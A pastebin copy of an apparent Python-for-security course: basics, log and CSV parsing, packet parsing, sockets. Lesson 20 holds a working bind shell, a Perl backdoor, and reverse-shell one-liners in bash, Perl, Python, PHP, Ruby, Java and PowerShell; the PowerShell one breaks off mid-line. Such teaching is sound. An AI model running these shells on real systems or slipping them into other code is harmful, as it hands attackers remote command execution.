· 8 years ago · Apr 19, 2018, 02:52 PM
1#########################################
2# Here is the courseware for this month #
3#########################################
4
5Class powerpoint slides:
6https://s3.amazonaws.com/infosecaddictsfiles/PythonV3-1.pptx
7
8
9
10Courseware Lab Manual
11https://s3.amazonaws.com/infosecaddictsfiles/Python-For-InfoSec-Pros-2015.pdf
12
13
14Class Videos:
15https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
16https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
17https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
18https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
19
20
21Resource files:
22https://s3.amazonaws.com/infosecaddictsfiles/Python4SecurityPros-Files.zip
23
24https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
25user: infosecaddicts
26pass: infosecaddicts
27
28
29
30
31The youtube video playlist that I'd like for you to watch is located here:
32https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
33
34
35How I did it:
36
37Step 1: Watch and do the newboston Python video series twice
38https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
39
40
41Step 2: Watch and do the Google Python workshop twice
42https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
43
44
45Step 3: Download all of the Python tools from PacketStorm and analyze the source code
46https://packetstormsecurity.com/files/tags/python
47
48
49Here is the code from Packet Storm
50https://s3.amazonaws.com/infosecaddictsfiles/PythonReferenceCode.zip
51
52I went through almost every single file and looked up the code that I didn't understand.
53I also asked programmers to help me understand the lines of code that didn't make sense.
54In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
55and explain the tool to me.
56
57Here is what I got out of doing that:
58https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
59
60
61
62Distilled that into this:
63https://s3.amazonaws.com/infosecaddictsfiles/Python-Courseware.zip
64
65
66
67 ##############################
68----------- ############### # Day 1: Python Fundamentals # ############### -----------
69 ##############################
70
71
72####################
73# Installing Python#
74####################
75Windows
7632-Bit Version
77http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
78
7964-Bit Version
80http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
81
82After you install Python in Windows the next thing you may want to install is IdleX:
83http://idlex.sourceforge.net/features.html
84
85---------------------------Type This-----------------------------------
86
87Linux
88Debian/Ubuntu: sudo apt-get install -y python
89RHEL/CentOS/Fedora: sudo yum install -y python
90
91-----------------------------------------------------------------------
92
93
94After you install Python in Linux the next thing that you will need to do is install idle.
95
96---------------------------Type This-----------------------------------
97
98sudo apt-get install -y idle
99
100-----------------------------------------------------------------------
101
102Open IDLE, and let's just dive right in.
103
104
105
106
107#############################
108# Lesson 1: Simple Printing #
109#############################
110
111---------------------------Type This-----------------------------------
112
113>>> print "Today we are learning Python."
114
115-----------------------------------------------------------------------
116
117
118
119
120#####################################
121# Lesson 2: Simple Numbers and Math #
122#####################################
123
124---------------------------Type This-----------------------------------
125
126>>> 2+2
127
128>>> 6-3
129
130>>> 18/7
131
132>>> 18.0/7
133
134>>> 18.0/7.0
135
136>>> 18/7
137
138>>> 9%4
139
140>>> 8%4
141
142>>> 8.75%.5
143
144>>> 6.*7
145
146>>> 6*6*6
147
148>>> 6**3
149
150>>> 5**12
151
152>>> -5**4
153
154
155-----------------------------------------------------------------------
156
157
158
159#######################
160# Lesson 3: Variables #
161#######################
162
163---------------------------Type This-----------------------------------
164
165>>> x=18
166
167>>> x+15
168
169>>> x**3
170
171>>> y=54
172
173>>> x+y
174
175>>> g=input("Enter number here: ")
176 43
177
178>>> g+32
179
180>>> g**3
181
182
183-----------------------------------------------------------------------
184
185
186
187
188
189###################################
190# Lesson 4: Modules and Functions #
191###################################
192
193---------------------------Type This-----------------------------------
194
195>>> 5**4
196
197>>> pow(5,4)
198
199>>> abs(-18)
200
201>>> abs(5)
202
203>>> floor(18.7)
204
205>>> import math
206
207>>> math.floor(18.7)
208
209>>> math.sqrt(81)
210
211>>> joe = math.sqrt
212
213>>> joe(9)
214
215>>> joe=math.floor
216
217>>> joe(19.8)
218
219
220
221-----------------------------------------------------------------------
222
223
224
225##################################
226# Lesson 5: How to Save Programs #
227##################################
228Run "IDLE (Python GUI)"
229
230File -> New Window
231
232---------------------------Type This-----------------------------------
233
234print "Python for InfoSec"
235
236-----------------------------------------------------------------------
237
238File -> Save as
239 py4InfoSec.py
240
241Run -> Run Module or Press "F5"
242
243
244
245
246
247Create a file name.py
248
249---------------------------Type This-----------------------------------
250
251
252x = raw_input("Enter name: ")
253print "Hey " + x
254raw_input("Press<enter>")
255
256-----------------------------------------------------------------------
257
258Run -> Run Module or Press "F5"
259
260
261
262
263
264
265
266
267#####################
268# Lesson 6: Strings #
269#####################
270
271---------------------------Type This-----------------------------------
272
273
274>>> "XSS"
275
276>>> 'SQLi'
277
278>>> "Joe's a python lover"
279
280>>> 'Joe\'s a python lover'
281
282>>> "Joe said \"InfoSec is fun\" to me"
283
284>>> a = "Joe"
285
286>>> b = "McCray"
287
288>>> a, b
289
290>>> a+b
291
292
293-----------------------------------------------------------------------
294
295
296
297
298
299##########################
300# Lesson 7: More Strings #
301##########################
302
303---------------------------Type This-----------------------------------
304
305
306>>> num = 10
307
308>>> num + 2
309
310>>> "The number of open ports found on this system is " + num
311
312>>> num = str(18)
313
314>>> "There are " + num + " vulnerabilities found in this environment."
315
316>>> num2 = 46
317
318>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
319
320
321-----------------------------------------------------------------------
322
323
324
325
326
327#######################
328# Lesson 8: Raw Input #
329#######################
330Run "IDLE (Python GUI)"
331
332File -> New Window
333
334---------------------------Type This-----------------------------------
335
336joemccray=input("Enter name: ")
337print joemccray
338
339-----------------------------------------------------------------------
340
341Run -> Run Module # Will throw an error
342 or
343Press "F5"
344
345File -> New Window
346
347---------------------------Type This-----------------------------------
348
349joemccray=raw_input("Enter name: ")
350
351-----------------------------------------------------------------------
352
353Run -> Run Module # Will throw an error
354
355 or
356
357Press "F5"
358
359NOTE:
360Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
361
362
363
364
365
366
367
368#################################
369# Lesson 9: Sequences and Lists #
370#################################
371
372---------------------------Type This-----------------------------------
373
374>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
375
376>>> attacks
377['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
378
379>>> attacks[3]
380'SQL Injection'
381
382>>> attacks[-2]
383'Cross-Site Scripting'
384
385-----------------------------------------------------------------------
386
387
388
389
390##########################
391# Level 10: If Statement #
392##########################
393Run "IDLE (Python GUI)"
394
395File -> New Window
396
397---------------------------Type This-----------------------------------
398
399attack="SQLI"
400if attack=="SQLI":
401 print 'The attacker is using SQLI'
402
403-----------------------------------------------------------------------
404
405Run -> Run Module or Press "F5"
406
407File >> New Window
408
409---------------------------Type This-----------------------------------
410
411attack="XSS"
412if attack=="SQLI":
413 print 'The attacker is using SQLI'
414
415-----------------------------------------------------------------------
416
417Run -> Run Module or Press "F5"
418
419
420
421
422####################################
423# Lesson 11: Intro to Log Analysis #
424####################################
425
426
427Log into your Linux host then execute the following commands:
428-----------------------------------------------------------------------
429NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
430
431---------------------------Type This-----------------------------------
432
433wget http://pastebin.com/raw/85zZ5TZX
434
435mv 85zZ5TZX access_log
436
437
438cat access_log | grep 141.101.80.188
439
440cat access_log | grep 141.101.80.187
441
442cat access_log | grep 108.162.216.204
443
444cat access_log | grep 173.245.53.160
445
446----------------------------------------------------------------------
447
448Google the following terms:
449 - Python read file
450 - Python read line
451 - Python read from file
452
453
454
455
456########################################################
457# Lesson 12: Use Python to read in a file line by line #
458########################################################
459
460
461Reference:
462http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
463
464
465
466---------------------------Type This-----------------------------------
467
468nano logread1.py
469
470
471---------------------------Paste This-----------------------------------
472## Open the file with read only permit
473f = open('access_log', "r")
474
475## use readlines to read all lines in the file
476## The variable "lines" is a list containing all lines
477lines = f.readlines()
478
479print lines
480
481
482## close the file after reading the lines.
483f.close()
484
485----------------------------------------------------------------------
486
487
488Google the following:
489 - python difference between readlines and readline
490 - python readlines and readline
491
492
493
494
495
496################################
497# Lesson 13: A quick challenge #
498################################
499
500Can you write an if/then statement that looks for this IP and print "Found it"?
501
502
503141.101.81.187
504
505
506
507
508
509
510---------------------------------------------------------
511Hint 1: Use Python to look for a value in a list
512
513Reference:
514http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
515
516
517
518
519---------------------------------------------------------
520Hint 2: Use Python to prompt for user input
521
522Reference:
523http://www.cyberciti.biz/faq/python-raw_input-examples/
524
525
526
527
528---------------------------------------------------------
529Hint 3: Use Python to search for a string in a list
530
531Reference:
532http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
533
534
535
536
537
538Here is my solution:
539
540---------------------------Type This-----------------------------------
541
542$ python
543>>> f = open('access_log', "r")
544>>> lines = f.readlines()
545>>> ip = '141.101.81.187'
546>>> for string in lines:
547... if ip in string:
548... print(string)
549
550----------------------------------------------------------------------
551
552
553Here is one student's solution - can you please explain each line of this code to me?
554
555
556---------------------------Type This-----------------------------------
557exit()
558nano ip_search.py
559
560---------------------------Paste This-----------------------------------
561#!/usr/bin/python
562
563f = open('access_log')
564
565strUsrinput = raw_input("Enter IP Address: ")
566
567for line in iter(f):
568 ip = line.split(" - ")[0]
569 if ip == strUsrinput:
570 print line
571
572f.close()
573
574----------------------------------------------------------------------
575
576
577
578
579Working with another student after class we came up with another solution:
580
581---------------------------Type This-----------------------------------
582nano ip_search2.py
583
584---------------------------Paste This-----------------------------------
585#!/usr/bin/env python
586
587
588# This line opens the log file
589f=open('access_log',"r")
590
591# This line takes each line in the log file and stores it as an element in the list
592lines = f.readlines()
593
594
595# This lines stores the IP that the user types as a var called userinput
596userinput = raw_input("Enter the IP you want to search for: ")
597
598
599
600# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
601for ip in lines:
602 if ip.find(userinput) != -1:
603 print ip
604
605----------------------------------------------------------------------
606
607
608
609---------------------------Type This-----------------------------------
610exit()
611----------------------------------------------------------------------
612
613
614
615##################################################
616# Lession 14: Look for web attacks in a log file #
617##################################################
618
619In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
620Supported attacks:
6211. SQL Injection
6222. Local File Inclusion
6233. Remote File Inclusion
6244. Cross-Site Scripting
625
626
627---------------------------Type This-----------------------------------
628
629wget https://s3.amazonaws.com/infosecaddictsfiles/scan_log.py
630
631----------------------------------------------------------------------
632
633The usage for scan_log.py is simple. You feed it an apache log file.
634
635---------------------------Type This-----------------------------------
636
637cat scan_log.py | less (use your up/down arrow keys to look through the file)
638
639----------------------------------------------------------------------
640
641Explain to me how this script works.
642
643
644
645################################
646# Lesson 15: Parsing CSV Files #
647################################
648
649Dealing with csv files
650
651Reference:
652http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
653
654Type the following commands:
655---------------------------------------------------------------------------------------------------------
656
657---------------------------Type This-----------------------------------
658
659wget https://s3.amazonaws.com/infosecaddictsfiles/class_nessus.csv
660
661----------------------------------------------------------------------
662
663Example 1 - Reading CSV files
664-----------------------------
665#To be able to read csv formated files, we will first have to import the
666#csv module.
667
668
669---------------------------Type This-----------------------------------
670python
671import csv
672with open('class_nessus.csv', 'rb') as f:
673 reader = csv.reader(f)
674 for row in reader:
675 print row
676
677
678----------------------------------------------------------------------
679
680
681
682
683Example 2 - Reading CSV files
684-----------------------------
685
686---------------------------Type This-----------------------------------
687
688vi readcsv.py
689
690---------------------------Paste This-----------------------------------
691#!/usr/bin/python
692import csv # imports the csv module
693import sys # imports the sys module
694
695f = open(sys.argv[1], 'rb') # opens the csv file
696try:
697 reader = csv.reader(f) # creates the reader object
698 for row in reader: # iterates the rows of the file in orders
699 print row # prints each row
700finally:
701 f.close() # closing
702
703
704
705----------------------------------------------------------------------
706
707
708
709Ok, now let's run this thing.
710
711--------------------------Type This-----------------------------------
712python readcsv.py
713
714python readcsv.py class_nessus.csv
715----------------------------------------------------------------------
716
717
718
719
720
721Example 3 - - Reading CSV files
722-------------------------------
723
724---------------------------Type This-----------------------------------
725
726vi readcsv2.py
727
728---------------------------Paste This-----------------------------------
729#!/usr/bin/python
730# This program will then read it and displays its contents.
731
732
733import csv
734
735ifile = open('class_nessus.csv', "rb")
736reader = csv.reader(ifile)
737
738rownum = 0
739for row in reader:
740 # Save header row.
741 if rownum == 0:
742 header = row
743 else:
744 colnum = 0
745 for col in row:
746 print '%-8s: %s' % (header[colnum], col)
747 colnum += 1
748
749 rownum += 1
750
751ifile.close()
752
753
754----------------------------------------------------------------------
755
756
757
758---------------------------Type This-----------------------------------
759
760python readcsv2.py | less
761
762
763----------------------------------------------------------------------
764
765
766
767
768
769/---------------------------------------------------/
770--------------------PARSING CSV FILES----------------
771/---------------------------------------------------/
772
773-------------TASK 1------------
774
775---------------------------Type This-----------------------------------
776
777vi readcsv3.py
778
779---------------------------Paste This-----------------------------------
780#!/usr/bin/python
781import csv
782f = open('class_nessus.csv', 'rb')
783try:
784 rownum = 0
785 reader = csv.reader(f)
786 for row in reader:
787 #Save header row.
788 if rownum == 0:
789 header = row
790 else:
791 colnum = 0
792 if row[3].lower() == 'high':
793 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
794 rownum += 1
795finally:
796 f.close()
797
798-----------------------------------------------------------------------
799
800
801---------------------------Type This-----------------------------------
802
803python readcsv3.py | less
804-----------------------------------------------------------------------
805
806-------------TASK 2------------
807
808---------------------------Type This-----------------------------------
809
810vi readcsv4.py
811-----------------------------------------------------------------------
812
813---------------------------Paste This-----------------------------------
814
815#!/usr/bin/python
816import csv
817f = open('class_nessus.csv', 'rb')
818try:
819 print '/---------------------------------------------------/'
820 rownum = 0
821 hosts = {}
822 reader = csv.reader(f)
823 for row in reader:
824 # Save header row.
825 if rownum == 0:
826 header = row
827 else:
828 colnum = 0
829 if row[3].lower() == 'high' and row[4] not in hosts:
830 hosts[row[4]] = row[4]
831 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
832 rownum += 1
833finally:
834 f.close()
835
836
837python readcsv4.py | less
838
839----------------------------------------------------------------------
840
841
842
843
844
845
846
847
848#################################################
849# Lesson 16: Parsing Packets with Python's DPKT #
850#################################################
851The first thing that you will need to do is install dpkt.
852
853---------------------------Type This-----------------------------------
854
855
856sudo apt-get install -y python-dpkt
857
858----------------------------------------------------------------------
859
860
861
862Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
863Run tcpdump to capture a .pcap file that we will use for the next exercise
864
865---------------------------Type This-----------------------------------
866
867sudo tcpdump -ni eth0 -s0 -w quick.pcap
868
869----------------------------------------------------------------------
870
871--open another command prompt--
872
873---------------------------Type This-----------------------------------
874
875
876wget http://packetlife.net/media/library/12/tcpdump.pdf
877
878----------------------------------------------------------------------
879
880Let's do something simple:
881
882---------------------------Type This-----------------------------------
883
884
885vi quickpcap.py
886
887---------------------------Paste This-----------------------------------
888
889#!/usr/bin/python
890import dpkt;
891
892# Simple script to read the timestamps in a pcap file
893# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
894
895f = open("quick.pcap","rb")
896pcap = dpkt.pcap.Reader(f)
897
898for ts, buf in pcap:
899 print ts;
900
901f.close();
902
903
904----------------------------------------------------------------------
905
906
907Now let's run the script we just wrote
908
909---------------------------Type This-----------------------------------
910
911python quickpcap.py
912
913----------------------------------------------------------------------
914
915
916
917How dpkt breaks down a packet:
918
919Reference:
920http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
921
922 src: the MAC address of SOURCE.
923 dst: The MAC address of DESTINATION
924 type: The protocol type of contained ethernet payload.
925
926The allowed values are listed in the file "ethernet.py",
927such as:
928a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
929b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
930
931
932References:
933http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
934
935
936
937
938
939
940Ok - now let's have a look at pcapparsing.py
941
942---------------------------Type This-----------------------------------
943
944
945sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
946
947----------------------------------------------------------------------
948
949--open another command prompt--
950
951---------------------------Type This-----------------------------------
952
953
954wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
955
956----------------------------------------------------------------------
957
958
959Ok - now let's have a look at pcapparsing.py
960
961
962--------------------------------------------------------------
963
964
965import socket
966import dpkt
967import sys
968f = open('capture-100.pcap','r')
969pcapReader = dpkt.pcap.Reader(f)
970
971for ts,data in pcapReader:
972 ether = dpkt.ethernet.Ethernet(data)
973 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
974 ip = ether.data
975 tcp = ip.data
976 src = socket.inet_ntoa(ip.src)
977 srcport = tcp.sport
978 dst = socket.inet_ntoa(ip.dst)
979 dstport = tcp.dport
980 print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
981
982f.close()
983
984----------------------------------------------------------------------
985
986
987
988OK - let's run it:
989
990---------------------------Type This-----------------------------------
991
992python pcapparsing.py
993
994----------------------------------------------------------------------
995
996
997running this script might throw an error like this:
998
999Traceback (most recent call last):
1000 File "pcapparsing.py", line 9, in <module>
1001 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
1002
1003
1004If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
1005
1006
1007
1008
1009Your homework for today...
1010
1011
1012Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
1013
1014
1015
1016
1017
1018
1019Your challenge is to fix the Traceback error
1020
1021---------------------------Paste This-----------------------------------
1022
1023#!/usr/bin/python
1024
1025import pcapy
1026import dpkt
1027import sys
1028import socket
1029import struct
1030
1031SINGLE_SHOT = False
1032
1033# list all the network devices
1034pcapy.findalldevs()
1035
1036iface = "eth0"
1037filter = "arp"
1038max_bytes = 1024
1039promiscuous = False
1040read_timeout = 100 # in milliseconds
1041
1042pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
1043pc.setfilter( filter )
1044
1045# callback for received packets
1046def recv_pkts( hdr, data ):
1047 packet = dpkt.ethernet.Ethernet( data )
1048
1049 print type( packet.data )
1050 print "ipsrc: %s, ipdst: %s" %( \
1051 socket.inet_ntoa( packet.data.spa ), \
1052 socket.inet_ntoa( packet.data.tpa ) )
1053
1054 print "macsrc: %s, macdst: %s " % (
1055 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
1056 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
1057
1058if SINGLE_SHOT:
1059 header, data = pc.next()
1060 sys.exit(0)
1061else:
1062 packet_limit = -1 # infinite
1063 pc.loop( packet_limit, recv_pkts ) # capture packets
1064
1065----------------------------------------------------------------------
1066
1067
1068##################################
1069# Day 1 Homework videos to watch #
1070##################################
1071Here is your first set of youtube videos that I'd like for you to watch:
1072https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
1073
1074
1075########################
1076# Day 1 Challenge task #
1077########################
1078Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
1079
1080Running the current version of the script may give you an error like this:
1081
1082Traceback (most recent call last):
1083 File "pcapparsing.py", line 9, in <module>
1084 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
1085
1086
1087If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
1088
1089Your challenge task is to fix the Traceback error
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109 #################################
1110----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
1111 #################################
1112
1113
1114
1115
1116
1117#############################################
1118# Lesson 17: Python Sockets & Port Scanning #
1119#############################################
1120
1121---------------------------Type This-----------------------------------
1122
1123$ sudo /sbin/iptables -F
1124
1125$ ncat -l -v -p 1234
1126
1127----------------------------------------------------------------------
1128
1129
1130
1131--open another terminal--
1132
1133---------------------------Type This-----------------------------------
1134
1135python
1136
1137>>> import socket
1138>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1139>>> s.connect(('localhost', 1234))
1140>>> s.send('Hello, world')
1141>>> data = s.recv(1024)
1142>>> s.close()
1143
1144>>> print 'Received', data
1145
1146
1147----------------------------------------------------------------------
1148
1149
1150
1151
1152########################################
1153# Lesson 18: TCP Client and TCP Server #
1154########################################
1155
1156---------------------------Type This-----------------------------------
1157
1158
1159vi tcpclient.py
1160
1161---------------------------Paste This-----------------------------------
1162
1163
1164#!/usr/bin/python
1165# tcpclient.py
1166
1167import socket
1168
1169s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1170hostport = ("127.0.0.1", 1337)
1171s.connect(hostport)
1172s.send("Hello\n")
1173buf = s.recv(1024)
1174print "Received", buf
1175
1176
1177
1178----------------------------------------------------------------------
1179
1180
1181---------------------------Type This-----------------------------------
1182
1183
1184
1185
1186vi tcpserver.py
1187
1188
1189---------------------------Paste This-----------------------------------
1190
1191
1192#!/usr/bin/python
1193# tcpserver.py
1194
1195import socket
1196
1197s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1198hostport = ("", 1337)
1199s.bind(hostport)
1200s.listen(10)
1201while 1:
1202 cli,addr = s.accept()
1203 print "Connection from", addr
1204 buf = cli.recv(1024)
1205 print "Received", buf
1206 if buf == "Hello\n":
1207 cli.send("Server ID 1\n")
1208 cli.close()
1209
1210
1211
1212
1213----------------------------------------------------------------------
1214
1215
1216---------------------------Type This-----------------------------------
1217
1218
1219python tcpserver.py
1220
1221
1222--open another terminal--
1223python tcpclient.py
1224
1225----------------------------------------------------------------------
1226
1227########################################
1228# Lesson 19: UDP Client and UDP Server #
1229########################################
1230
1231---------------------------Type This-----------------------------------
1232
1233vi udpclient.py
1234
1235
1236
1237---------------------------Paste This-----------------------------------
1238
1239
1240
1241#!/usr/bin/python
1242# udpclient.py
1243
1244import socket
1245
1246s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1247hostport = ("127.0.0.1", 1337)
1248s.sendto("Hello\n", hostport)
1249buf = s.recv(1024)
1250print buf
1251
1252
1253
1254----------------------------------------------------------------------
1255
1256
1257
1258
1259---------------------------Type This-----------------------------------
1260
1261
1262vi udpserver.py
1263
1264
1265---------------------------Paste This-----------------------------------
1266
1267
1268
1269
1270#!/usr/bin/python
1271# udpserver.py
1272
1273import socket
1274
1275s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1276hostport = ("127.0.0.1", 1337)
1277s.bind(hostport)
1278while 1:
1279 buf, address = s.recvfrom(1024)
1280 print buf
1281 if buf == "Hello\n":
1282 s.sendto("Server ID 1\n", address)
1283
1284
1285----------------------------------------------------------------------
1286
1287
1288---------------------------Type This-----------------------------------
1289
1290
1291python udpserver.py
1292
1293
1294--open another terminal--
1295python udpclient.py
1296
1297----------------------------------------------------------------------
1298
1299
1300######################################
1301# Lesson 20: Bind and Reverse Shells #
1302######################################
1303
1304---------------------------Type This-----------------------------------
1305
1306
1307vi simplebindshell.py
1308
1309---------------------------Paste This-----------------------------------
1310
1311#!/bin/python
1312import os,sys,socket
1313
1314ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1315print '-Creating socket..'
1316port = 31337
1317try:
1318 ls.bind(('', port))
1319 print '-Binding the port on '
1320 ls.listen(1)
1321 print '-Listening, '
1322 (conn, addr) = ls.accept()
1323 print '-Waiting for connection...'
1324 cli= conn.fileno()
1325 print '-Redirecting shell...'
1326 os.dup2(cli, 0)
1327 print 'In, '
1328 os.dup2(cli, 1)
1329 print 'Out, '
1330 os.dup2(cli, 2)
1331 print 'Err'
1332 print 'Done!'
1333 arg0='/bin/sh'
1334 arg1='-a'
1335 args=[arg0]+[arg1]
1336 os.execv(arg0, args)
1337except(socket.error):
1338 print 'fail\n'
1339 conn.close()
1340 sys.exit(1)
1341
1342----------------------------------------------------------------------
1343
1344
1345
1346---------------------------Type This-----------------------------------
1347
1348nc TARGETIP 31337
1349
1350----------------------------------------------------------------------
1351
1352
1353---------------------
1354Preparing the target for a reverse shell
1355
1356---------------------------Type This-----------------------------------
1357
1358$ ncat -lvp 4444
1359
1360--open another terminal--
1361wget https://www.trustedsec.com/files/simple_py_shell.py
1362
1363vi simple_py_shell.py
1364
1365
1366
1367----------------------------------------------------------------------
1368
1369
1370
1371-------------------------------
1372Tricky shells
1373
1374Reference:
1375http://securityweekly.com/2011/10/python-one-line-shell-code.html
1376http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
1377
1378
1379
1380
1381
1382Lots of reverse shells in different languages
1383---------------------------------------------------------------------
1384
1385
1386
1387########
1388# Bash #
1389########
1390
1391---------------------------Type This-----------------------------------
1392
1393
1394bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
1395
1396----------------------------------------------------------------------
1397
1398
1399########
1400# Perl #
1401########
1402
1403---------------------------Type This-----------------------------------
1404
1405
1406perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1407
1408
1409
1410cat perlbackdoor.pl
1411#!/usr/bin/perl
1412use Socket;
1413use FileHandle;
1414$IP = $ARGV[0];
1415$PORT = $ARGV[1];
1416socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
1417connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
1418SOCKET->autoflush();
1419open(STDIN, ">&SOCKET");
1420open(STDOUT,">&SOCKET");
1421open(STDERR,">&SOCKET");
1422system("/bin/sh -i");
1423
1424----------------------------------------------------------------------
1425
1426##########
1427# Python #
1428##########
1429
1430---------------------------Type This-----------------------------------
1431
1432python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1433
1434----------------------------------------------------------------------
1435
1436#######
1437# Php #
1438#######
1439---------------------------Type This-----------------------------------
1440
1441php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
1442
1443----------------------------------------------------------------------
1444
1445########
1446# ruby #
1447########
1448---------------------------Type This-----------------------------------
1449
1450ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1451
1452----------------------------------------------------------------------
1453
1454
1455########
1456# Java #
1457########
1458---------------------------Type This-----------------------------------
1459
1460r = Runtime.getRuntime()
1461p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
1462p.waitFor()
1463
1464
1465exec 5<>/dev/tcp/127.0.0.1/1234
1466
1467
1468cat <&5 | while read line; do $line 2>&5 >&5; done
1469
1470exec 5<>/dev/tcp/127.0.0.1/1234
1471
1472while read line 0<&5; do $line 2>&5 >&5; done
14730<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
1474
1475----------------------------------------------------------------------
1476
1477##############
1478# Powershell #
1479##############
1480---------------------------Type This-----------------------------------
1481
1482powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = 